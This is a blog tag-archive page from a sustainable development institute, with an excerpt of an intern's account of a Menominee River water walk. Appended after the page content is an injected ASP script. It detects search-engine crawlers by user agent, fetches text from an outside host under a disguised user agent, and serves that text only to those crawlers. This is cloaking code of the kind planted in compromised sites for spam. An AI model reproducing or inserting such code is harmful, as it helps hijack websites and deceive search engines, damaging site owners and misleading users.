Tag Archive: water walk

Sep 30

Menominee River Water Walk

  Written by: Dolly Potts, POSOH Sustainability Planner Intern The thunder beings woke me the morning of the water walk. I met with my mentor and an SLC student at SDI to begin our journey to the mouth of the Menominee River in Marinette, Wisconsin. We headed north watching the lightning ahead of us rolling out …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2016/09/menominee-river-water-walk/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>